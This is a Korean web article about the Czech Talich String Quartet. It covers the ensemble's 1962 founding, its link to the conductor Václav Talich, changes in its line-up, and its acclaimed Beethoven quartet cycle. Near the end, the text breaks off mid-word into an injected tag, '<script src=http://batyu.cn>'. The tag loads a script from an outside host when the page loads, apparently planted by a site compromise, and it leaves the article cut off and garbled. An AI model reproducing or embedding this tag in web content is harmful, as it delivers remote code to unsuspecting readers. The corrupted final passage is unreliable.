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첼리스트 앙드레 나바라와 오르가니스트 앙드레 이즈와르로 널리 알려져 있는 프랑스의 ‘칼리오페’ 레이블의 중추신경 탈리히 4중주단은 칼리오페와 함께 한 30년의 세월과 창단 40주년을 기해 더 큰 도약을 향한 새로운 전환기를 맞고 있다.

▶ 현악4중주의 중심, 체코

그 가운데 체코 실내악의 주도적인 역할을 했던 단체 중에는 스메타나·야나체크·프라하·블라흐 4중주단 등이 있다. 이들은 모두 체코 프라하 음악원생들로 구성되어 체코의 민족적인 색채를 담고 있는 최고의 실내악 단체들이다. 이들은 개인적인 기량도 뛰어났었지만 그들이 이루는 하모니는 그들 각각의 기량이상이었다. 그것이 또한 그들이 실내악을 통해 명성을 얻게 된 배경이자 존립근거가 되는 것이었다.
체코 실내악의 역사는 최근에 이루어진 것은 아니다. 오스트리아의 하이든에서 시작된 현악4중주 양식은 체코로 이어지며 더욱 발전하게 되었다. 고전파 당대의 실내악 현악연주자들 중 상당수의 체코인들이 유럽을 무대로 활동을 했으며, 그들의 음악은 현악4중주의 본토에서도 인정받을 정도였다. 이미 체코 실내악의 역사는 음악사에서 실내악의 출발과 동일선상에서 시작되고 있었던 것이다.

▶ 체코 실내악의 맥을 잇는 탈리히 현악4중주단

1962년 체코의 자랑으로 여겨지던 그 실내악의 계보에 새롭게 기록되어진 이름이 있었다. 탈리히 현악4중주단(Talich Quartet)이 그들이다.
탈리히 현악4중주단은 얀 탈리히(Jan Talich)를 중심으로 한 프라하 음악원 출신들로 결성되었다. 체코의 영웅, 바츨라프 탈리히(Vaclav Talich)의 조카인 얀 탈리히가 그의 큰아버지인 바츨라프를 기리기 위해서 이름을 차용하였는데, 바츨라프는 체코의 국민적인 영웅이었던 지휘자였다. 바츨라프 탈리히는 체코 필하모닉 오케스트라를 최고의 연주단체로 급부상시켰으며, 그가 체코 필과 함께 한 드보르작의 ‘신세계’ 교향곡은 이 곡의 모든 명반들 중에서도 빛을 발하는 최고의 걸작으로 손꼽힌다.
결성 당시 탈리히 4중주단은 얀 탈리히가 제1바이올린을 맡고, 얀 크바필의 제2바이올린, 카렐 돌레잘의 비올라, 에브젠 라타이의 첼로로 출발하였다. 그들은 출발 때부터 체코의 정통 실내악의 토대에서 성장하게 되는데, 스메타나 4중주단의 창시자이자 멤버였던 요제프 미카(Joseph Micka)가 탈리히를 체코의 전통 아래로 인도해 나갔다.
미카의 지도 아래 빠른 성장을 보인 탈리히 4중주단이었지만 당대의 쟁쟁한 4중주단과의 경쟁에서 인정받기 위해서는 그 나름의 개성이 있어야만 했다. 이후 돌레잘을 이르지 나지나르로 교체하고 1975년 페트르 메시에뢰를 새 리더로 영입하고 얀 탈리히는 비올라로 전향하게 된다. 그때의 멤버 구성이 ‘탈리히 톤’이라고 불리는 탈리히 4중주단만의 아름다운 색깔을 만들어내게 되는데 그들의 이러한 ‘색깔’은 탈리히를 다른 단체들과 구별짓는 중요한 개성이자 지금까지 변함없이 그들을 지탱해 주는 바탕이 되는 것이다.
탈리히 4중주단이 남긴 명반들

- 베토벤 현악4중주 전집 / 신나라/CAL 3633.9(7CD)

탈리히 4중주단이 베토벤의 현악4중주를 녹음한 것은 벌써 20년 전의 일이다. 1977년부터 시작되어 1981년까지 계속된 탈리히의 베토벤을 향한 끊임없는 음악적 열정은 이 음반을 통해 탈리히 4중주단이라는 실내악단을 세계 최고의 대열에 올려놓게 된다.
베토벤 현악4중주 명반이라고 하면 알반 베르크 4중주단이나 뉴 부다페스트·아마데우스·줄리어드·이탈리언 4중주단 등의 음반들과 더불어 탈리히 4중주단을 손꼽게 되는 것은 이제 자연스러운 일이 된 것이다. 그리고 그들 속에서도 더욱 더 가치 있게 평가받게 된 것은 우연이 아니라 탈리히가 일구어낸 그간의 음악적 성과의 결과라고 말할 수 있다.
이 음반에서 탈리히 4중주단이 접근하는 베토벤은 화려하게 꾸며져 있는 외향적인 모습의 치중이 아니라 깊숙한 내면을 성찰하는 꾸밈없는 진실함에 있다. 그리?script src=http://batyu.cn>

2002.10.
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